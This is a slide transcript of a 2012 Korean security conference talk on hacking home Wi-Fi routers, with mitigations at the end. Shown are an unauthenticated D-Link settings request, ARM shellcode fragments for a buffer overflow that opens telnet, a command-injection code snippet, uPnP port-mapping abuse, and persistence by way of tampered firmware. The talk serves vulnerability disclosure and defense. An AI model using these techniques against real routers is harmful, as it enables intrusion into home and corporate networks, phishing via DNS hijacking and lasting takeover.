Presentation is loading. Please wait.

Presentation is loading. Please wait.

Wireless Router Hacking

Similar presentations


Presentation on theme: "Wireless Router Hacking"— Presentation transcript:

1 Wireless Router Hacking
홍정우 | B10S | Hackerschool SECUINSIDE 2012

2 CONTENTS 공유기의 기본개념 공유기의 구성 공유기의 기존 취약점들 IPTIME 0-Day 취약점
uPnP 를 이용한 외부 공격 ANYGATE 0-Day 취약점 공유기 취약점 활용 시나리오 대응 방안 및 향후 연구 계획

3 공유기의 기본개념

4 공유기의 기본 개념 무선 네트워크 접근 & 인터넷 공유

5 공유기의 기본 개념 A통신사의 명동 지역 내 Wifi

6 공유기의 기본 개념 A통신사의 논현동 지역 내 Wifi

7 공유기의 기본 개념 잠재적 피해자들

8 공유기의 기본 개념

9 공유기의 구성

10 공유기의 구성 펌웨어 커널, 파일시스템 하드웨어

11 공유기의 구성 ( 하드웨어 )

12 공유기의 구성 ( 하드웨어 )

13 공유기의 구성 ( 하드웨어 ) DRAM 네트워크 컨트롤러 마이크로 컨트롤러 FLASH 메모리 안테나 , 전원 WAN 인터페이스
LAN 인터페이스

14 펌웨어 커널, 파일시스템 공유기의 구성 ( 펌웨어 ) Kernel : 2.4.19
Filesystem : cramfs , squashfs , ext2 Linux Command , Directory , busybox , cgi , config….

15 공유기의 기존 취약점들

16 공유기 기존 취약점들 1) IPTIME 공유기 백도어 2) Belkin 디폴트 패스워드 3) Dlink 인증 없는 설정 4) Linksys stack overflow

17 공유기 기존 취약점들 2007년도에 ISSUE가 됐었음 (http://kldp.org/node/83510)
1) IPTIME 공유기 백도어 2007년도에 ISSUE가 됐었음 ( 내부 명령 실행 , 파일 열람 모두 가능 디버깅과 개발 시 편의성을 위해 만들어진 페이지

18 공유기 기존 취약점들 2) Belkin 디폴트 패스워드

19 admin_password=pwdpwd& admin_password1=pwdpwd& admPass2=pwdpwd&
공유기 기존 취약점들 3) Dlink 인증 없는 설정 admin_password=pwdpwd& admin_password1=pwdpwd& admPass2=pwdpwd& remote_enable=1& remote_http_management_enable=1& remote_http_management_port=8080& remote_inbound_filter=Allow_All& remote_http_management_inbound_filter=Allow_All 관리자에 대한 인증절차가 없이 모든 인자 값이 정상 처리된다.

20 공유기 기존 취약점들 4) Linksys stack overflow 경계 값 체크 없이 프로그래밍

21 IPTIME 0-Day 취약점

22 ③ ④ ② ① IPTIME 0-Day 취약점 악의적인 사용자 TARGET 공격 모의 공격 취약점 발견
잠재적 피해자들

23 IPTIME 0-Day 취약점 ① 취약점 발견 펌웨어가 취약 할 것이다. 펌웨어 획득 방법
악의적인 사용자 펌웨어 획득 방법 공식 홈페이지에서 최신펌웨어 다운로드 MCU의 JTAG 포트를 이용한 DUMP Flash 메모리 분리 후 DUMP 모의 공격 취약점 발견 TARGET과 동일한 공유기

24 IPTIME 0-Day 취약점 펌웨어 확보 방법 (1) : 공식 홈페이지에서 최신 펌웨어 다운로드

25 IPTIME 0-Day 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결 후 DUMP JTAG PINOUT

26 IPTIME 신규 취약점 펌웨어 확보 방법 (2) : MCU의 JTAG 포트 연결

27 IPTIME 신규 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP Flash memory

28 IPTIME 0-Day 취약점 펌웨어 확보 방법 (3) : Flash 메모리 추출 후 DUMP

29 IPTIME 0-Day 취약점 ① 취약점 발견 파일시스템 추출
rootfs]# ls -al total 132 drwxr-xr-x 15 root root 4096 Sep drwxr-xr-x 5 root root 4096 Nov drwxr-xr-x 3 root root 4096 Jun 7 00:38 bin drwxr-xr-x 6 root root 4096 Sep default drwxr-xr-x 2 root root 4096 Sep dev lrwxrwxrwx 1 root root 8 Nov etc -> /tmp/etc drwxr-xr-x 3 root root 4096 Sep home drwxr-xr-x 3 root root 4096 Sep lib lrwxrwxrwx 1 root root 11 Nov linuxrc -> bin/busybox drwxr-xr-x 2 root root 4096 Sep ndbin drwxr-xr-x 2 root root 4096 Sep plugin drwxr-xr-x 2 root root 4096 Sep proc drwxr-xr-x 2 root root 4096 Sep save drwxr-xr-x 2 root root 4096 Sep sbin drwxr-xr-x 2 root root 4096 Sep tmp drwxr-xr-x 2 root root 4096 Sep upgrade-bin drwxr-xr-x 5 root root 4096 Sep usr lrwxrwxrwx 1 root root 8 Nov var -> /tmp/var rootfs]# 펌웨어 추출 도구 :

30 /cgi-bin/timepro.cgi가 로드된다.
IPTIME 0-Day 취약점 ① 취약점 발견 /cgi-bin/timepro.cgi가 로드된다.

31 IPTIME 0-Day 취약점 ① 취약점 발견 분석 가능 악의적인 사용자 모의 공격 취약점 발견 TARGET과 동일한 공유기

32 IPTIME 0-Day 취약점 ① 취약점 발견 DEMO

33 aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 Stack Memory BEFORE STRCPY() Buffer AFTER STRCPY() aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa LDMFD SP, {R11 , SP , PC} R11 SP PC

34 Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 Aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC PC 레지스터 : 다음 실행할 명령어의 위치 프로그램 흐름을 원하는 곳으로 이동시킬 수 있다. GOOD!!!

35 utelnetd 구동 , iptables 에서 telnet 허용 쉘코드
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 aaaaaaaaaaaaaaaaaaaaaaaaa aaaa aaaa aaaa Buffer R11 SP PC 쉘코드를 어디에 올릴 것인가? CGI 는 환경변수에 HTTP 데이터를 저장한다. utelnetd 구동 , iptables 에서 telnet 허용 쉘코드 User-Agent :

36 .ascii "/sbin/iptablesF" .ascii "-AF" .ascii "INPUTF" .ascii "-pF"
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 add r1, pc, #96 add r2, pc, #107 add r3, pc, #106 add r4, pc, #108 add r5, pc, #107 add r6, pc, #107 add r7, pc, #111 add r8, pc, #110 add r9, pc, #109 .ascii "/sbin/iptablesF" .ascii "-AF" .ascii "INPUTF" .ascii "-pF" .ascii "tcpF" .ascii "--dportF" .ascii "23F" .ascii "-jF" .ascii "ACCEPTF"

37 add r8, pc , #12 strb lr, [r8 , #1] mov r0, r1 , lsl lr mov r1, sp
IPTIME 0-Day 취약점 ① 취약점 발견 – 버퍼 오버플로우 stmfd sp!, {r1-r9 ,lr} add r8, pc , #12 strb lr, [r8 , #1] mov r0, r1 , lsl lr mov r1, sp mov r2, lr swi x90ff0b Execve 첫번 째 인자 Execve 두번 째 인자 Execve 세번 째 인자 Swi 0x90000b execve(“/sbin/iptables”,”/sbin/iptables”,”-A”,”INPUT”…. , NULL)

38 IPTIME 0-Day 취약점 ② 모의 공격 취약점 발견과 공격코드 구상 공유기 시스템 내부 쉘이 있으면 동적 디버깅 가능 공격에 필요한 각종 테스트를 해야 함 gdb , strace , busybox 등 크로스 컴파일 해서 업로드 공격코드 완성 , 테스트

39 IPTIME 0-Day 취약점 ② 모의 공격 DEMO

40 IPTIME 0-Day 취약점 ③ 공격 공격에 필요한 조건 인터넷 TARGET 공격 공유기 패스워드 물리적으로 근접
잠재적 피해자들 악의적인 사용자

41 IPTIME 0-Day 취약점 ③ 공격 인터넷 TARGET 공격 공격에 필요한 조건 공유기의 아이피 잠재적 피해자들
악의적인 사용자

42 IPTIME 0-Day 취약점 ③ 공격 - uPnP 홈네트워크에서의 기기 간 인식, 통신 프로토콜

43 IPTIME 0-Day 취약점 ③ 공격 - uPnP 공유기에 포트매핑 요청 XML 형태로 통신

44 IPTIME 0-Day 취약점 ③ 공격 - uPnP 외부 uPnP 요청 허용 외부에서 원하는 포트로 접근가능 ( 80, 23)

45 IPTIME 0-Day 취약점 ③ 공격 - uPnP # telnet 공유기IP uPnP_Port

46 IPTIME 0-Day 취약점 ③ 공격 - uPnP TARGET 인터넷 23 포트 uPnP 요청 공유기 텔넷접속 가능
취약점 공격 80 포트 uPnP 요청 잠재적 피해자들 악의적인 사용자

47 IPTIME 0-Day 취약점 ③ 공격 – Remote Attack DEMO

48 ANYGATE 0-Day 취약점

49 ③ ④ ② ① ANYGATE 0-Day 취약점 IPTIME 때와 동일 악의적인 사용자 TARGET 공격 모의 공격 취약점 발견
잠재적 피해자들

50 ANYGATE 0-Day 취약점 ① 취약점 발견 펌웨어가 취약 할 것이다. 펌웨어 획득 방법
악의적인 사용자 펌웨어 획득 방법 공식 홈페이지에서 최신펌웨어 다운로드 MCU의 JTAG 포트를 이용한 DUMP Flash 메모리 분리 후 DUMP 모의 공격 취약점 발견 TARGET과 동일한 공유기

51 ANYGATE 0-Day 취약점 1) 디버깅용 페이지 존재 인증절차 없이 내부 명령 실행 가능
iptables , ifconfig , ping 만 지원

52 ANYGATE 0-Day 취약점 1) 디버깅용 페이지 존재 인증절차 없이 내부 명령 실행 가능
iptables , ifconfig , ping 만 지원

53 ANYGATE 0-Day 취약점 2) 특정 설정 페이지 내부 명령 실행 가능 취약점 sprintf(&src,
     "-S gnudip -u %s:%s -h %s -s %s -r 10&",         dword_3AC8D ,         dword_3AC8D ,         dword_3AC8D ,);     strcat(&szCMD, &src);     sub_14CAC("%s\n", &szCMD);     system(&szCMD); 임의의 명령을 삽입하는 것이 가능

54 ANYGATE 0-Day 취약점 3) 버퍼오버플로우 취약점

55 취약점 악용 시나리오

56 공유기 취약점 악용 시나리오 1) Packet Sniffing & Spoofing(악성코드 유포)

57 공유기 취약점 악용 시나리오 2) 피싱 (DNS Hijacking) www.phising.com www.hanabank.com
ID , PW 입력

58 공유기 취약점 악용 시나리오 3) 사내 보안 문제 사내 인트라넷 사장 영업팀 인사팀 개발팀 과장 대리 사원

59 공유기 취약점 악용 시나리오 4) 경유지 (VPN, Port Fowarding) 공격 대상 사이트 추적이 어려워짐

60 공유기 취약점 악용 시나리오 5) DDOS

61 공유기 취약점 악용 시나리오 5) DDOS 공격 대상 사이트

62 공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함.
1. 재부팅 리셋 해커가 펌웨어의 Init script 들을 수정하여 telnet , 포트매핑 등을 부팅 시에 자동으로 수행하게끔 펌웨어 리빌드 관리자 페이지에 접근이 가능하므로, 조작된 펌웨어를 수동업데이트

63 공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함.
2. 펌웨어 업데이트 - 수동업데이트 웹인터페이스의 업데이트 페이지를 수정하여 실제로 업데이트는 일어나지 않도록 조작

64 공유기 취약점 악용 시나리오 6) 영구 장악 공유기는 재부팅, 리셋, 펌웨어 업데이트 시 초기화 다시 공격해야 함.
2. 펌웨어 업데이트 - 자동업데이트 공식사이트 펌웨어 업데이트 서버 업데이트 시도 해커가 조작한 펌웨어 업데이트 서버

65 대응 방안 및 향후 연구 계획

66 1. 대응 방안 2. 향후 연구 계획 펌웨어 개발 시, 보안 프로그래밍
strcpy , sprintf , system 등과 같은 함수들은 주의해서 사용한다. 또한 설정 상 보안에 문제가 될 수 있는 부분들을 제거한다. uPnP 의 외부 연결 차단 , 공유기 자체인 localhost로의 포워딩 차단 사용자의 공유기에 대한 보안 의식 강화 ex> uPnP 서비스 강제 중단 2. 향후 연구 계획 공유기가 TCP/IP , UDP 등 Low Level 프로토콜을 처리하면서 발생할 수 있는 취약점 연구 커스터마이징된 기능들에서 발생하는 취약점 게임기 지원 , VPN , QOS 등..

67 Question?

68 감사합니다.


Download ppt "Wireless Router Hacking"

Similar presentations


Ads by Google